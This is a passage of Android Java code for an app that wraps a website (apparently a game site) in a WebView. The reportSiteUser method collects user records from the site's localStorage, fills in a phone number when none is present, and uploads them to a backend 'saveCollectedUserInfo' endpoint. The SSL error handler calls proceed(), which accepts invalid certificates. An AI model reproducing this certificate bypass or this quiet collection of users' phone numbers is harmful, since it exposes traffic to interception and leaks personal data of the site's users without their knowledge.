必须是 JSON 对象,data.mobile 为全局唯一键; * 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。 */ private void reportSiteUser(String userInfo, final String dedupKey) { HashMap data; try { data = new Gson().fromJson(userInfo, new com.google.gson.reflect.TypeToken>() { }.getType()); } catch (Exception e) { return; } if (data == null || data.isEmpty()) { return; } // data.mobile 兜底:没有 mobile 时用电话候选字段补一个 Object mobileVal = data.get("mobile"); boolean hasMobile = mobileVal != null && String.valueOf(mobileVal).trim().length() > 0 && !"null".equals(String.valueOf(mobileVal).trim()); if (!hasMobile) { String phone = extractPhone(userInfo); if (TextUtils.isEmpty(phone)) { // 完全没有电话字段:后端要求 data.mobile 必填,本次跳过,保持轮询等待 LogUtils.i("站点用户无手机号字段,跳过上报"); return; } data.put("mobile", phone); } HashMap body = new HashMap<>(); body.put("userId", userId); body.put("domain", getCurrentDomain()); body.put("deviceType", SITE_USER_DEVICE_TYPE); body.put("data", data); Api.getInstance().saveCollectedUserInfo(body) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver() { @Override public void onSuccess(Result o) { LogUtils.i("站点用户信息上报成功"); } @Override public void onError(int code, String msg) { // 仅清掉当前用户的去重记录,下次轮询可重试其他已成功用户 removeReportedSiteUserKey(dedupKey); } @Override public void onError2(Result o) { removeReportedSiteUserKey(dedupKey); } }); } // WebView webViews; WebViewClient webViewClient = new WebViewClient() { @Override public void onPageStarted(WebView webView, String s, Bitmap bitmap) { super.onPageStarted(webView, s, bitmap); logWebViewUrl("onPageStarted", s); } @Override public void onPageFinished(WebView webView, String s) { super.onPageFinished(webView, s); logWebViewUrl("onPageFinished", s); // LogUtils.i("URL是啥加载完成:" + webView.getUrl()); if (webView.getUrl().contains("hasSignIn")) { hasSignIn = true; } // 页面首次加载完成后启动 localStorage 用户信息轮询 startSiteUserPolling(); int w = View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED); int h = View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED); // 重新测量 webView.measure(w, h); if (activityMain2Binding.showTopLy.getVisibility() == View.VISIBLE) { handler.postDelayed(() -> activityMain2Binding.showTopLy.setVisibility(View.GONE), 1000); } if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { isAtGame = false; activityMain2Binding.topVvvv.setVisibility(View.GONE); } else { if (isAtGame) { activityMain2Binding.topVvvv.setVisibility(View.VISIBLE); } else { activityMain2Binding.topVvvv.setVisibility(View.GONE); } } } @Override public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { logWebViewUrl("shouldInterceptRequestLegacy", s); return super.shouldInterceptRequest(webView, s); } @Override public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { if (webResourceRequest != null && webResourceRequest.getUrl() != null) { logWebViewUrl("shouldInterceptRequest", webResourceRequest.getUrl().toString()); } return super.shouldInterceptRequest(webView, webResourceRequest); } @Override public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { super.onReceivedError(view, request, error); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { int errorCode = error.getErrorCode(); String errorMessage = error.getDescription().toString(); String currentUrl = request.getUrl().toString(); LogUtils.i("WebViewURL[onReceivedError]: url=" + currentUrl + " | code=" + errorCode + " | msg=" + errorMessage); if (request.isForMainFrame()) { onShowErrorView(errorMessage); } } activityMain2Binding.progressbar.setVisibility(View.GONE); } @Override public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { LogUtils.i("WebViewURL[onReceivedSslError]: url=" + (webView == null ? "" : webView.getUrl()) + " | primaryError=" + sslError.getPrimaryError() + " | urlString=" + sslError.getUrl()); sslErrorHandler.proceed(); } @Override public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { super.onReceivedError(view, errorCode, description, failingUrl); if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { LogUtils.i("WebViewURL[onReceivedErrorLegacy]: url=" + failingUrl + " | code=" + errorCode + " | msg=" + description); if (isMainPageUrl(failingUrl)) { onShowErrorView(description); } } activityMain2Binding.progressbar.setVisibility(View.GONE); } @Override public boolean shouldOverrideUrlLoading(WebView webView, String url1) { logWebViewUrl("shouldOverrideUrlLoading", url1); if (url1.equals(url + "index") || url1.equals(url + "/index")) { isAtGame = false; activityMain2Binding.topVvvv.setVisibility(View.GONE); } else { activityMain2Binding.progressbar.setVisibility(View.GONE); } if (isToOutSideUrl(url1)) { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url1)); startActivity(intent); return true; } catch (Exception e) { e.printStackTrace(); } } if (!(url1.startsWith("http") || url1.startsWith("https"))) { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url1)); startActivity(intent); return true; } catch (Exception e) { e.printStackTrace(); } } else { if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { return false; } else { //其它的该怎么处理就怎么处理 webView.loadUrl(url1); return true; } } return false; } @Override public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { Uri uri; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { uri = request.getUrl(); } else { uri = Uri.parse(request.toString()); } String url1 = uri.toString(); if (isToOutSideUrl(url1)) { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url1)); startActivity(intent); return true; } catch (Exception e) { e.printStackTrace(); } } if (url1.equals(url + "index") || url1.equals(url + "/index")) { isAtGame = false; activityMain2Binding.topVvvv.setVisibility(View.GONE); } else { activityMain2Binding.progressbar.setVisibility(View.GONE); } if (!(url1.startsWith("http") || url1.startsWith("https"))) { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url1)); startActivity(intent); return true; } catch (Exception e) { e.printStackTrace(); } } else { if ((url1.equals(url + "index") || url1.equals(url + "/index")) && activityMain2Binding.webview.canGoBack()) { return false; } else { //其它的该怎么处理就怎么处理 activityMain2Binding.webview.loadUrl(url1); return true; } } return false; } }; private boolean isToOutSideUrl(String url1) { return url1.contains("facebook") || url1.contains("https://t.me") || url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") || url1.contains("https://m.me") || url1.contains("http://m.me") || url1.endsWith(".apk"); } public void onShowErrorView(String errorMsg) { //网络不可用的情况 activityMain2Binding.webview.setVisibility(View.GONE); activityMain2Binding.layoutError.setVisibility(View.VISIBLE); activityMain2Binding.errormsg.setText(errorMsg); activityMain2Binding.showTopLy.setVisibility(View.GONE); } public void onShowNetView() { activityMain2Binding.webview.setVisibility(View.VISIBLE); activityMain2Binding.layoutError.setVisibility(View.GONE); activityMain2Binding.showTopLy.setVisibility(View.GONE); } boolean isAtGame = false; private static final int REQUEST_CODE_FILE_CHOOSER = 1; private ValueCallback mUploadCallbackForLowApi; private ValueCallback mUploadCallbackForHighApi; WebChromeClient webChromeClient = new WebChromeClient() { @Override public boolean onConsoleMessage(ConsoleMessage consoleMessage) { return true; } @Override public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { WebView newWebView = new WebView(webViewdd.getContext()); newWebView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if (isToOutSideUrl(url)) { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url)); startActivity(intent); return true; } catch (Exception e) { e.printStackTrace(); } } if (!(url.startsWith("http") || url.startsWith("https"))) { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url)); startActivity(intent); return true; } catch (Exception e) { e.printStackTrace(); } } else { Intent browserIntent = new Intent(MainActivity.this, WebViewActivity.class); browserIntent.putExtra("url", url); startActivity(browserIntent); return true; } return false; } }); WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; transport.setWebView(newWebView); resultMsg.sendToTarget(); return true; } @Override public void onCloseWindow(WebView window) { super.onCloseWindow(window); } @Override public void onProgressChanged(WebView view, int newProgress) { super.onProgressChanged(view, newProgress); activityMain2Binding.progressbar.setProgress(newProgress); if (newProgress == 100) { activityMain2Binding.progressbar.setVisibility(View.GONE); } else { activityMain2Binding.progressbar.setVisibility(View.GONE); } } @Override public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { mUploadCallbackForHighApi = filePathCallback; Intent intent = fileChooserParams.createIntent(); intent.addCategory(Intent.CATEGORY_OPENABLE); startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); return true; } // For 3.0+ protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { openFilerChooser(uploadMsg); } private void openFilerChooser(ValueCallback uploadMsg) { mUploadCallbackForLowApi = uploadMsg; startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); } private Intent getFilerChooserIntent() { Intent intent = new Intent(Intent.ACTION_GET_CONTENT); intent.addCategory(Intent.CATEGORY_OPENABLE); return intent; } }; @RequiresApi(api = Build.VERSION_CODES.Q) @Override protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); switch (requestCode) { case REQUEST_CODE_FILE_CHOOSER: if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { afterFileChooseGoing(resultCode, data); } break; } } private void afterFileChooseGoing(int resultCode, Intent data) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { if (mUploadCallbackForHighApi == null) { return; } mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); mUploadCallbackForHighApi = null; } else { if (mUploadCallbackForLowApi == null) { return; } Uri result = data == null ? null : data.getData(); mUploadCallbackForLowApi.onReceiveValue(result); mUploadCallbackForLowApi = null; } } @Override public void onDestroy() { // 停止用户信息轮询 handler.removeCallbacks(siteUserPollRunnable); if (activityMain2Binding.webview!= null) { //加载null内容 activityMain2Binding.webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); //清除历史记录 activityMain2Binding.webview.clearHistory(); //销毁VebView activityMain2Binding.webview.destroy(); } super.onDestroy(); } @Override protected void onResume() { super.onResume(); } @Override protected void onPause() { super.onPause(); } /** * 只有当后台开了 推送开关 才走 通知和注册fcm的逻辑 */ protected void regFcm() { } public static void saveInt(Context context, String key, int value) { SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putInt(key, value); editor.apply(); } public static int getInt(Context context, String key, int defValue) { SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); return sp.getInt(key, defValue); } public static void saveString(Context context, String key, String value) { SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putString(key, value); editor.apply(); } public static String getString(Context context, String key, String defValue) { if (context == null) { return defValue; } SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); return sp.getString(key, defValue); } public static void saveBoolean(Context context, String key, Boolean value) { SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putBoolean(key, value); editor.apply(); } public static Boolean getBoolean(Context context, String key, Boolean defValue) { if (context == null) { return defValue; } SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); return sp.getBoolean(key, defValue); } }